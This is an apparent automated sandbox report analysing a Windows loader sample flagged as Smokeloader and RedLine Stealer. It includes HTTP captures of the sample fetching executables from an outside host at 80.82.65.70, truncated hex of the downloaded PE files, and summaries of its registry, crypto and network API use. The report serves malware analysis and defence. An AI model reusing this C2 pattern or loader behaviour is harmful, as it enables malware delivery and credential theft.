Dec 13, 2024 01:09:23.165043116 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:22 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:25.188157082 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:25.673515081 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:25 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:27.752913952 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:28.240423918 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:27 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:30.266350985 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:30.756380081 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:30 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:32.782198906 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:33.278681993 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:32 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:35.313657999 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:35.801270962 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:35 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:37.830998898 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:38.324240923 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:38 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:40.531867027 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:41.022181034 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:40 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:43.052668095 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:43.536051989 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:43 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 13, 2024 01:09:47.016294956 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:47.658488035 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:47 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Dec 13, 2024 01:09:48.377389908 CET	392	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 13, 2024 01:09:49.119460106 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:09:48 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 1436, Parent PID: 2580

General

Target ID:	0
Start time:	19:09:04
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'994'240 bytes
MD5 hash:	0A2E0CF36CB5586FB3ECFF4872B27B9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2420979596.0000000000DCC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 2696, Parent PID: 1436

General

Target ID:	6
Start time:	19:09:51
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 584
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 1436, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	57.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	22

Executed Functions

Function 00403D20 Relevance: 56.1, APIs: 25, Strings: 6, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,A91FB584,74DF0F00,00000000), ref: 00403D8A
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403F19
Sleep.KERNEL32(000003E8), ref: 00403F22
__Init_thread_footer.LIBCMT ref: 004044F7
__Init_thread_footer.LIBCMT ref: 004046BD
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 004048C7
__Init_thread_footer.LIBCMT ref: 00404955
__Init_thread_footer.LIBCMT ref: 00404BBE
CoInitialize.OLE32(00000000), ref: 00404C3F
CoCreateInstance.OLE32(0041F290,00000000,00000001,0041F260,?,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404C5A
__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 00404CC8

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,A91FB584), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

CoUninitialize.COMBASE(?,00406AA1,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D,?,?,?,?,00000000,0042DA28), ref: 00404D01
CoUninitialize.OLE32(?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404DC4
CoUninitialize.OLE32(?,?,?,?,?,0042DC1D,?,?,?,?,00000000,0042DA28,0042DA29), ref: 00404E45
__Init_thread_footer.LIBCMT ref: 00404026

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Part of subcall function 004021F0: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
Part of subcall function 004021F0: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
Part of subcall function 004021F0: CloseHandle.KERNEL32(00000000), ref: 0040224E

__Init_thread_footer.LIBCMT ref: 00404202

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

Strings

get, xrefs: 00405E91
SUB=, xrefs: 00405A98
^OX*, xrefs: 00404B6B
KDOX, xrefs: 004048E4
viFO, xrefs: 004048DA
]DFE, xrefs: 00404640

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Init_thread_footer$CriticalSection$CreateFileUninitialize$EnterLeavePathSleepTime$ByteCharCloseConditionDirectoryFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@VariableWakeWideWrite__ehfuncinfo$??2@
String ID: KDOX$SUB=$]DFE$^OX*$get$viFO
API String ID: 995133137-4208347134
Opcode ID: 2b5074e5ae3f74629323bde4956dacc6f2b5a6a8a3ea0f745ae83f81f010b08c
Instruction ID: 2a7656185698f67e8fe61b04cbca63a222de47e8cf16a67dea48f36782a400ee
Opcode Fuzzy Hash: 2b5074e5ae3f74629323bde4956dacc6f2b5a6a8a3ea0f745ae83f81f010b08c
Instruction Fuzzy Hash: 7BF2D1B0E042188BDB24DF24CC49B9EBBB1EF45304F5441E9E5097B2D2DB78AA85CF59

Function 00404F50 Relevance: 40.1, APIs: 16, Strings: 6, Instructions: 1645sleepregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,A91FB584), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 004050BD
Sleep.KERNEL32(00000BB8,00000000,?,00406A81,0041D8A0,0042DB20,0042DB21), ref: 004052D5
__Init_thread_footer.LIBCMT ref: 004053CB
Sleep.KERNEL32(000007D0), ref: 00405735
Sleep.KERNEL32(000007D0), ref: 0040574F
CoUninitialize.OLE32(?,?,0042DB3D,?,?,?,?,?,?,?,?,?,?,00000000,0042DB21), ref: 00405785
CoUninitialize.OLE32(?,?,?,?,?,0042DB3D,?,?,?,?,?,?,?), ref: 004057B1
RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

get, xrefs: 00405E91
SUB=, xrefs: 00405A98
updateSW, xrefs: 0040565B
U%, xrefs: 00406916
DFEK, xrefs: 0040535C
mixone, xrefs: 00406219

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTimeUninitialize$CloseCreateEnterFileLeaveOpenSystemUnothrow_t@std@@@Value__ehfuncinfo$??2@
String ID: DFEK$SUB=$get$mixone$updateSW$U%
API String ID: 606935701-3680244588
Opcode ID: 4db77f0429fbeff6bc7245b50d1839831cba9557f07ad327e6d61b565521e7f7
Instruction ID: 0d5b8b6ccd7ac2cce54ba59243f10dcebe2db4c82d63bd9967a8cdfa7b9099a4
Opcode Fuzzy Hash: 4db77f0429fbeff6bc7245b50d1839831cba9557f07ad327e6d61b565521e7f7
Instruction Fuzzy Hash: F5D20471D001148BDB14EB24CC597AEBB75AF01308F5481BEE8097B2D2DB78AE85CF99

Function 00402EC0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(0000000D), ref: 00402EE2
SetLastError.KERNEL32(000000C1), ref: 00402F24

Strings

ERROR_OUTOFMEMORY!, xrefs: 00403042
DOS header size is not valid!, xrefs: 00402F51
Section alignment invalid!, xrefs: 00402FA7
DOS header is not valid!, xrefs: 00402F12
Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402F81
Size is not valid!, xrefs: 00402EE8
p.@P.@0.@, xrefs: 004030C5
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402F93
alignedImageSize != AlignValueUp!, xrefs: 0040300C

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!$p.@P.@0.@
API String ID: 1452528299-2075088523
Opcode ID: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction ID: 9256140b0f890bfcd87a01f3051d579660d3e2dc250f0df49545701e60f9fd82
Opcode Fuzzy Hash: 93a66e001e3ee66e65f00ee5565e1e2522c51b5cf1621d66301cec4e888181c2
Instruction Fuzzy Hash: CCF1CE71B002059BCB10CFA9D985BAAB7B4BF48305F14417AE909EB3C2D779ED11CB98

Function 004035B0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,A91FB584), ref: 00403630
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403654
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 004036BE
GetLastError.KERNEL32 ref: 004036C8
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004036F0
GetLastError.KERNEL32 ref: 004036FA
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040370A
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 004037CC
CryptDestroyKey.ADVAPI32(?), ref: 0040383E

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 0040360C

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction ID: 8181a1f98bd0149a833479ac616fd79743055c61a592a1420c0c523c4d9566d8
Opcode Fuzzy Hash: 7f6218a34b9754140a9e9fc40106ac4304b7aaa720599af0eabc3a8fdf2c6258
Instruction Fuzzy Hash: 37819171A00218AFEF209F25CC45B9ABBB9FF45300F0081BAF90DA7291DB359E858F55

Function 00402A20 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 113
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 00402AC8
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 00402ADD
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 00402AEB
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 00402B06
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 00402B25
LocalFree.KERNEL32(00000000), ref: 00402B32
LocalFree.KERNEL32(?), ref: 00402B37

Strings

%s: %s, xrefs: 00402B16
Error protecting memory page, xrefs: 00402B11

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$Error protecting memory page
API String ID: 839691724-1484484497
Opcode ID: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction ID: 0c0000675eadf2e66051917e59d7aa22c0aaa2fc97c5d5fe75df83e4770fcd9e
Opcode Fuzzy Hash: f25455ec320cf7d64a2bc5a19560f05570590d079a315ae6df6c255a1a5fbc21
Instruction Fuzzy Hash: 4B310731B00104AFDB10DF68DD44FAAB768EF48704F0541BEE905AB2D2DB75AE06CB98

Function 00401940 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 293
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 004019D5
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 004019F8

Strings

text, xrefs: 00401B5F

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileInternet$PointerRead
String ID: text
API String ID: 3197321146-999008199
Opcode ID: 5d2b67920e7965021a67acd32ea28e335973d0b9692ae9a2ead62ee0d6d92aa5
Instruction ID: 0125e10c814f2167b0c83c61a86ba883da1fe49b2781431745f5a2561ed14111
Opcode Fuzzy Hash: 5d2b67920e7965021a67acd32ea28e335973d0b9692ae9a2ead62ee0d6d92aa5
Instruction Fuzzy Hash: FAC15B709002189FDB24DF64CC85BD9B7B5EF49304F1041EAE509B72A1D778AE94CF99

Function 00DCD0EE Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00DCD116
Module32First.KERNEL32(00000000,00000224), ref: 00DCD136

Memory Dump Source

Source File: 00000000.00000002.2420979596.0000000000DCC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00DCC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dcc000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 24f6c3d28aac37918f9771c30ec1e1d63663dc22dff625d4208f343d2cdfc6fc
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: DFF062356007126BD7203AB99C8DF6A76E9AF49724F18053DE646920C0DB70EC458A71

Function 00408770 Relevance: 2.5, Strings: 2, Instructions: 27COMMON

Download Yara Rule

Strings

mixtwo, xrefs: 004087AC
emp, xrefs: 00408787

Memory Dump Source

Source File: 00000000.00000002.2420148698.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Sleep
String ID: emp$mixtwo
API String ID: 3472027048-2390925073
Opcode ID: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction ID: d670b023532553bde9b5cd74a18030282768016b503e3e09e149c4df20b712b6
Opcode Fuzzy Hash: 25b80a3ffdd21913e586197d89a1d0a7f06881a9f76e4fd5286830887ded5122
Instruction Fuzzy Hash: 15F01CB161430457E7147F65ED1B7173EA4970271CFA006ADD8141F2C2E7FB861A8BE6

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
